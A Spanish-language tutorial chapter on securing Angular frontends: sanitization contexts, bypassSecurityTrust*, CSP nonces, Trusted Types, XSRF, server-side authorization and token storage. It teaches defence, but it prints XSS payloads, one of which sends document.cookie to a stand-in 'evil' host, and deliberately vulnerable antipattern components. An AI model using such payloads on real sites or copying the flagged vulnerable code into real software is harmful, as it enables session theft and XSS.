Seguridad en el frontend Angular
Seguridad en el frontend Angular
La seguridad de una SPA no es un módulo que agregás al final: es una propiedad que emerge de decisiones que tomás en cada binding, en cada llamada HTTP y en cada guard. El frontend tiene una particularidad incómoda: todo lo que enviás al navegador es público. El bundle, las rutas, los guards, las validaciones “de negocio” que escribiste en TypeScript… cualquiera con las DevTools abiertas los ve, los lee y los puede saltear. Por eso la regla que ordena todo este capítulo es simple: el cliente controla la experiencia, el servidor controla la verdad.
Angular te da mucho gratis. Su compilador escapa la interpolación, su HttpClient trae protección XSRF integrada y soporta Trusted Types. Pero también te da la herramienta para desactivar todo eso (bypassSecurityTrust*), y ahí es donde nacen la mayoría de los agujeros. Este capítulo cubre qué te protege por defecto, cuándo y cómo se desactiva legítimamente, y los antipatrones concretos que introducen XSS, fugas de tokens y autorizaciones falsas.
El problema que ataca este capítulo
Las tres familias de vulnerabilidad que más aparecen en un frontend Angular:
- XSS (Cross-Site Scripting): inyectás HTML/JS controlado por un atacante en el DOM. Roba sesiones, tokens y hace acciones en nombre del usuario.
- Autorización del lado del cliente: escondés un botón con un
@if, pero el endpoint sigue abierto. El atacante llama a la API directo. - Fuga de secretos y tokens: metés una API key en
environment.tso guardás el JWT enlocalStoragedonde cualquier XSS lo lee.
Ninguna se arregla con “más Angular”. Se arreglan entendiendo el modelo de confianza y respetando sus límites.
flowchart LR
subgraph Cliente["Cliente (público, no confiable)"]
UI["UI / componentes"]
Guards["Guards y @if"]
Bundle["Bundle JS<br/>(visible en DevTools)"]
end
subgraph Servidor["Servidor (frontera de confianza)"]
AuthZ["Autorización real"]
Valid["Validación de datos"]
Secretos["Secretos / API keys"]
end
UI -->|"petición HTTP"| AuthZ
Guards -.->|"solo UX, no seguridad"| AuthZ
AuthZ --> Valid
Valid --> Secretos
style Cliente fill:#4a2020,color:#fff
style Servidor fill:#1f3d1f,color:#fff
Todo lo que está del lado del cliente es una conveniencia para el usuario legítimo, no una barrera para el atacante. La barrera empieza en el servidor.
XSS y el modelo de sanitización de Angular
Angular parte de una premisa: todo valor es no confiable por defecto. Cuando interpolás un valor en el template, Angular lo trata como texto plano.
Contextos de seguridad
Angular no sanitiza “en general”: sanitiza según el contexto donde va a parar el valor. Hay cuatro contextos, y cada uno tiene reglas distintas de qué es peligroso:
| Contexto | Dónde aplica | Ejemplo de binding |
|---|---|---|
| HTML | Cuando el valor se interpreta como HTML | [innerHTML] |
| Style | Cuando el valor se inyecta en style | [style] con CSS crudo |
| URL | Propiedades de tipo URL navegables | <a [href]>, <img [src]> |
| Resource URL | URL que se carga y ejecuta como código | <script [src]>, <iframe [src]> |
La distinción clave es la última. Una URL normal (href) puede ser saneada quitando esquemas peligrosos como javascript:. Una resource URL carga y ejecuta código, así que Angular no puede sanearla de forma segura: o confiás en el origen, o no la usás. Por eso bindear una resourceUrl dinámica siempre te obliga a un paso explícito de confianza.
Interpolación: siempre escapada
<!-- userComment viene del backend, controlado por el atacante -->
<p>{{ userComment }}</p>
Si userComment vale <img src=x onerror="alert(document.cookie)">, en pantalla verás ese texto literal. Angular escapa <, >, &, etc. La interpolación nunca interpreta HTML. Este es tu caso seguro por defecto y el que deberías usar el 95% del tiempo.
El peligro de innerHTML
En el momento en que bindeás a [innerHTML], le estás diciendo a Angular “interpretá esto como HTML”. Angular igual sanitiza el contexto HTML (elimina <script>, atributos on*, etc.), pero la superficie de ataque crece y hay vectores sutiles que dependen del contexto exacto.
<!-- Angular sanitiza: quita <script> y handlers, pero interpreta el resto como HTML -->
<div [innerHTML]="contenidoRico"></div>
La sanitización de innerHTML es una red de seguridad, no una licencia. Si el HTML lo genera tu propio backend a partir de un editor de texto rico con input de usuarios, seguís expuesto a lo que la sanitización de Angular no cubra en tu versión. La regla: evitá innerHTML salvo que no haya alternativa, y nunca lo uses como excusa para meter HTML crudo de usuarios.
flowchart TD
V["Valor a renderizar"] --> Q{"¿Qué binding?"}
Q -->|"Interpolación {{ }}"| E["Escapado como texto<br/>SIEMPRE seguro"]
Q -->|"[innerHTML]"| S["Sanitizado en contexto HTML<br/>quita script/on*"]
Q -->|"[href] / [src]"| U["Sanitizado en contexto URL<br/>quita javascript:"]
Q -->|"resourceUrl dinámica"| R{"¿bypassSecurityTrust?"}
R -->|"No"| B["Angular bloquea<br/>valor inseguro"]
R -->|"Sí, con input de usuario"| X["XSS<br/>ANTIPATRÓN"]
R -->|"Sí, con valor de confianza propio"| OK["Legítimo<br/>si el origen es fijo"]
style X fill:#4a2020,color:#fff
style E fill:#1f3d1f,color:#fff
style OK fill:#1f3d1f,color:#fff
bypassSecurityTrust* y DomSanitizer
DomSanitizer es el servicio que hace la sanitización. Tiene dos caras:
sanitize(context, value): sanea un valor para un contexto. Es lo que Angular llama internamente.- Los métodos
bypassSecurityTrust*: desactivan la sanitización marcando un valor como confiable.
class DomSanitizer {
bypassSecurityTrustHtml(value: string): SafeHtml;
bypassSecurityTrustStyle(value: string): SafeStyle;
bypassSecurityTrustScript(value: string): SafeScript;
bypassSecurityTrustUrl(value: string): SafeUrl;
bypassSecurityTrustResourceUrl(value: string): SafeResourceUrl;
}
Cada uno devuelve un valor “marcado” que Angular acepta sin sanear. Le estás diciendo al framework: “yo me hago responsable de que esto sea seguro”.
Cuándo es legítimo
El único caso legítimo es cuando el valor no depende en absoluto del input del usuario y no lo podés expresar de otra forma. Ejemplo típico: incrustar un reproductor de un proveedor fijo cuyo id validás vos.
import { Component, inject, input, computed } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser';
@Component({
selector: 'app-video',
template: `<iframe [src]="urlSegura()" title="Reproductor"></iframe>`,
})
export class VideoComponent {
private readonly sanitizer = inject(DomSanitizer);
// videoId es un input, pero lo validamos con una lista blanca estricta
readonly videoId = input.required<string>();
readonly urlSegura = computed<SafeResourceUrl>(() => {
const id = this.videoId();
// Validación estricta: solo caracteres esperados de un ID de proveedor
if (!/^[a-zA-Z0-9_-]{11}$/.test(id)) {
throw new Error('videoId inválido');
}
return this.sanitizer.bypassSecurityTrustResourceUrl(
`https://www.youtube-nocookie.com/embed/${id}`,
);
});
}
Fijate que el bypass sigue una validación de lista blanca. El origen (youtube-nocookie.com) es fijo y el id está restringido a un patrón. Sin esa validación, esto es una puerta abierta.
Por qué es un riesgo: nunca con input del usuario
// ANTIPATRÓN: bypass directo de contenido controlable por el atacante
@Component({
template: `<div [innerHTML]="html()"></div>`,
})
export class ComentarioComponent {
private readonly sanitizer = inject(DomSanitizer);
readonly comentario = input.required<string>(); // viene del backend/otro usuario
// Desactivás la única defensa que tenías. XSS servido en bandeja.
readonly html = computed(() =>
this.sanitizer.bypassSecurityTrustHtml(this.comentario()),
);
}
Un bypassSecurityTrustHtml sobre un comentario de otro usuario significa que si alguien publica <img src=x onerror="fetch('https://evil/'+document.cookie)">, ese código corre en el navegador de cada visitante. Regla absoluta: bypassSecurityTrust* nunca recibe datos que un usuario pueda influir. Si dudás si un valor es influenciable, tratalo como si lo fuera.
Cada llamada a
bypassSecurityTrust*es una excepción que deberías poder justificar en una revisión de código. Si no podés explicar por qué el valor es seguro sin sanear, no lo bypasees.
Content Security Policy y Trusted Types
La sanitización de Angular es la primera capa. CSP es la segunda, a nivel del navegador, e independiente de tu código. Una CSP bien puesta convierte muchos XSS en no-operaciones: aunque un script malicioso llegue al DOM, el navegador se niega a ejecutarlo.
CSP con nonce
La forma robusta es una CSP basada en nonce: cada respuesta del servidor genera un valor aleatorio único, lo pone en la cabecera Content-Security-Policy y en los scripts/estilos legítimos. El navegador solo ejecuta lo que lleva el nonce correcto.
Content-Security-Policy: script-src 'nonce-r4nd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Angular soporta nonce de tres maneras (para que sus estilos y scripts inline lleven el valor correcto):
autoCsp: activás la opciónautoCsp: trueen la configuración del workspace (angular.json) y la CLI genera una CSP basada en hash automáticamente.- Atributo
ngCspNonce: ponésngCspNonce="..."en el elemento raíz de la app (<app-root ngCspNonce="r4nd0m123">). - Token
CSP_NONCE: proveés el nonce por DI, útil cuando el valor solo existe en tiempo de ejecución (SSR).
import { ApplicationConfig, CSP_NONCE } from '@angular/core';
export const appConfig: ApplicationConfig = {
providers: [
// En SSR, el nonce lo genera el servidor por request y lo inyectás aquí
{ provide: CSP_NONCE, useValue: (globalThis as any).__nonce__ },
],
};
El nonce debe ser único por request. Reutilizar un nonce entre respuestas anula la protección: el atacante que ve un nonce lo puede reusar. Por eso se genera en el servidor en cada render, no en build.
Trusted Types
Trusted Types es una API del navegador que ataca la raíz del DOM-XSS: prohíbe asignar strings crudos a sinks peligrosos (innerHTML, script.src, eval, etc.). Solo se aceptan objetos TrustedHTML/TrustedScript creados por una policy registrada. Se activa con una cabecera:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types angular angular#bundler
Angular está preparado para funcionar bajo Trusted Types y define varias policies con nombres reservados:
| Policy | Para qué la usa Angular |
|---|---|
angular | Código central de Angular revisado por seguridad |
angular#bundler | Chunks lazy generados por la CLI |
angular#unsafe-bypass | Los valores que pasan por bypassSecurityTrust* |
angular#unsafe-jit | El compilador JIT |
angular#unsafe-upgrade | Apps híbridas con AngularJS |
Fijate que los bypass caen bajo angular#unsafe-bypass. Con Trusted Types activo, tenés que listar explícitamente esa policy para que tus bypass funcionen, lo que te obliga a hacer visible en la configuración que estás abriendo una excepción. En una app que usa AOT (lo normal en producción) no necesitás angular#unsafe-jit, y ese solo hecho reduce superficie de ataque.
flowchart TD
Code["Código intenta<br/>element.innerHTML = str"] --> TT{"¿Trusted Types<br/>activo?"}
TT -->|"No"| Direct["Asignación directa<br/>DOM-XSS posible"]
TT -->|"Sí"| Policy{"¿str es TrustedHTML<br/>de una policy registrada?"}
Policy -->|"No"| Block["TypeError<br/>el navegador bloquea"]
Policy -->|"Sí (policy angular)"| Allow["Permitido<br/>revisado por Angular"]
style Direct fill:#4a2020,color:#fff
style Block fill:#1f3d1f,color:#fff
style Allow fill:#1f3d1f,color:#fff
XSRF/CSRF: protección integrada de HttpClient
En un ataque XSRF, un sitio malicioso hace que tu navegador dispare una petición a tu API aprovechando que las cookies de sesión viajan solas. Angular trae el lado cliente del patrón cookie-to-header token.
El mecanismo: el servidor pone un token en una cookie legible por JS (por defecto XSRF-TOKEN); un interceptor de HttpClient lee esa cookie y la copia en una cabecera (por defecto X-XSRF-TOKEN) en todas las peticiones mutantes (POST, PUT, DELETE, PATCH) a URLs relativas o del mismo origen. Un atacante en otro origen no puede leer la cookie, así que no puede fabricar la cabecera.
import { ApplicationConfig } from '@angular/core';
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'CUSTOM_XSRF_TOKEN',
headerName: 'X-Custom-Xsrf-Header',
}),
),
],
};
Con los nombres por defecto no necesitás configurar nada: provideHttpClient() ya activa la protección. Para desactivarla (por ejemplo si tu autenticación es 100% por token en cabecera Authorization y no usás cookies) existe withNoXsrfProtection().
Detalle crítico: Angular implementa solo la mitad cliente. El backend tiene que setear la cookie del token y verificar que la cabecera coincida en cada request eligible. Sin la contraparte del servidor, esto no protege de nada. Además, la cabecera solo se agrega a peticiones same-origin: si consumís una API en otro dominio, este mecanismo no aplica y tenés que resolver CSRF por otra vía (por ejemplo SameSite cookies o tokens en cabecera).
Autenticación y autorización en el cliente
Acá está el malentendido más caro del frontend. Repetilo hasta que duela: la autorización que hacés en Angular es UX, no seguridad.
Los guards protegen la navegación, no los datos
Un guard funcional decide si una ruta se activa. Sirve para no mostrarle a un usuario una pantalla a la que no debería llegar. No protege el endpoint que esa pantalla consume.
import { inject } from '@angular/core';
import { CanActivateFn, Router } from '@angular/router';
import { AuthService } from './auth.service';
export const adminGuard: CanActivateFn = () => {
const auth = inject(AuthService);
const router = inject(Router);
return auth.esAdmin() ? true : router.createUrlTree(['/login']);
};
Esto está perfecto para la experiencia: el no-admin no ve la pantalla de admin. Pero si el usuario abre las DevTools y hace fetch('/api/admin/users', { method: 'DELETE' }), el guard no interviene: el guard vive en el navegador, la petición sale igual. La única defensa real es que /api/admin/users verifique el rol en el servidor.
sequenceDiagram
participant U as Usuario (atacante)
participant G as Guard (cliente)
participant API as Backend
Note over U,G: Camino por la UI
U->>G: navega a /admin
G-->>U: bloquea (no es admin)
Note over U,API: Camino saltando la UI
U->>API: DELETE /api/admin/users (fetch directo)
API->>API: verifica rol en servidor
API-->>U: 403 Forbidden
Note over API: Esta es la única<br/>defensa real
Antipatrón: autorización solo en el frontend
// ANTIPATRÓN: la lógica de permiso vive solo en el componente
@Component({
template: `
@if (auth.esAdmin()) {
<button (click)="borrarTodo()">Borrar todos los usuarios</button>
}
`,
})
export class PanelComponent {
protected readonly auth = inject(AuthService);
private readonly http = inject(HttpClient);
// Si el endpoint no valida el rol, ocultar el botón no protege nada
borrarTodo() {
this.http.delete('/api/users/all').subscribe();
}
}
Ocultar el botón evita clics accidentales del usuario legítimo. No evita nada del atacante. El @if y el endpoint son dos controles distintos: uno para UX, otro para seguridad, y solo el del servidor cuenta.
Manejo seguro de tokens
Dónde guardás el token de sesión determina cuánto daño hace un XSS:
localStorage/sessionStorage: accesibles por cualquier JavaScript que corra en la página. Un solo XSS lee el token y se lo lleva. No guardes ahí tokens sensibles de larga duración.- Cookie
httpOnly: el JS no puede leerla. Aunque haya XSS, el token no se puede exfiltrar directamente. Combinada conSecure(solo HTTPS),SameSite=Strict/Lax(mitiga CSRF) es la opción más resistente para el token de sesión.
flowchart LR
XSS["XSS en la página"] --> LS{"¿Dónde está<br/>el token?"}
LS -->|"localStorage"| Rob["JS lo lee<br/>token exfiltrado"]
LS -->|"Cookie httpOnly"| Safe["JS no lo alcanza<br/>token protegido"]
style Rob fill:#4a2020,color:#fff
style Safe fill:#1f3d1f,color:#fff
El patrón robusto: token de sesión en cookie httpOnly; Secure; SameSite, y XSRF cubierto con el mecanismo de HttpClient de arriba. Si tu arquitectura obliga a un token accesible por JS (por ejemplo un access token de vida corta para llamar a una API en otro origen), mantenelo efímero, nunca guardes el refresh token en storage, y asumí que un XSS puede robar el access token durante su ventana de validez.
Secretos: nada sensible en el bundle
Todo lo que compila en tu app Angular es público. El bundle se descarga entero al navegador; cualquiera lo abre, lo des-minifica y lee strings. Esto incluye los archivos environment.ts.
// ANTIPATRÓN: "secreto" en el environment
export const environment = {
production: true,
// Esto NO es secreto. Está en el JS que baja el navegador.
stripeSecretKey: 'sk_live_abc123...',
dbPassword: 'superclave',
};
Las variables de build (environment.ts, import.meta.env) sirven para configuración no sensible: la URL base de la API, flags de feature, la publishable key de Stripe (que está diseñada para ser pública). Un secreto real (secret key, contraseña de base de datos, token de servicio) nunca toca el frontend: vive en el backend, y el frontend le pide al backend que haga la operación que requiere el secreto.
La distinción operativa:
| Va en el bundle | Nunca en el bundle |
|---|---|
| URL de la API | Secret keys / private keys |
| Feature flags | Contraseñas de servicios |
| Publishable keys públicas | Tokens de acceso a proveedores |
| IDs de proyecto públicos | Cualquier credencial que dé acceso |
Si necesitás un “secreto” en el cliente, la respuesta correcta es un proxy en el backend: el frontend llama a tu servidor, tu servidor usa el secreto y devuelve el resultado.
Dependencias y cadena de suministro
Buena parte de tu superficie de ataque no la escribiste vos: está en node_modules. Un paquete comprometido corre con los mismos permisos que tu código de build y puede inyectar payloads en el bundle.
npm audit(o el equivalente de tu gestor) en cada instalación y en CI. Auditá vulnerabilidades conocidas y actualizá antes de que se acumulen.- Lockfile commiteado (
package-lock.json,bun.lock,pnpm-lock.yaml): garantiza que todos instalan exactamente las mismas versiones con los mismos hashes de integridad. Sin lockfile, un^1.2.3puede traer un1.9.0con código distinto al que auditaste. - Instalaciones reproducibles: usá
npm ci(obun install --frozen-lockfile) en CI, que instala estrictamente lo del lockfile y falla si hay drift. - Cuidado con el supply chain: fijate qué scripts
postinstallcorren, preferí dependencias mantenidas y con muchos ojos encima, y desconfiá de paquetes con nombres casi iguales a los populares (typosquatting).
# En CI: instalación estricta desde el lockfile + auditoría que rompe el build
bun install --frozen-lockfile
npm audit --audit-level=high
Un lockfile con hashes de integridad es tu defensa contra que un paquete cambie bajo tus pies entre la versión que revisaste y la que se despliega.
Checklist
- La interpolación
{{ }}es tu default: escapada siempre. Reservá[innerHTML]para casos justificados. - Ninguna llamada a
bypassSecurityTrust*recibe datos influenciables por el usuario; cada una está precedida por validación de lista blanca y podés justificarla en revisión. - Las
resourceUrldinámicas tienen origen fijo y parámetros validados con regex/lista blanca. - CSP activa con nonce único por request (
autoCsp,ngCspNonceoCSP_NONCE); en producción no dependés deunsafe-inline. - Trusted Types activado (
require-trusted-types-for 'script') con las policies de Angular listadas; sinangular#unsafe-jitsi usás AOT. - Protección XSRF de
HttpClientactiva y el backend verifica el token (no solo el cliente lo envía). - Los guards se entienden como UX: cada endpoint sensible valida autenticación y autorización en el servidor.
- Ningún control de autorización vive solo en el frontend (
@ifde permisos siempre respaldado por el backend). - Token de sesión en cookie
httpOnly; Secure; SameSite; nada de refresh tokens enlocalStorage. - Cero secretos reales en
environment.tsni en el bundle; los secretos viven detrás de un proxy en el backend. -
npm auditen CI, lockfile commiteado e instalaciones reproducibles (--frozen-lockfile/npm ci).
La seguridad que no se prueba se erosiona con cada refactor. En el próximo capítulo vemos cómo verificar que estas defensas (y todo lo demás) siguen en pie: Testing →.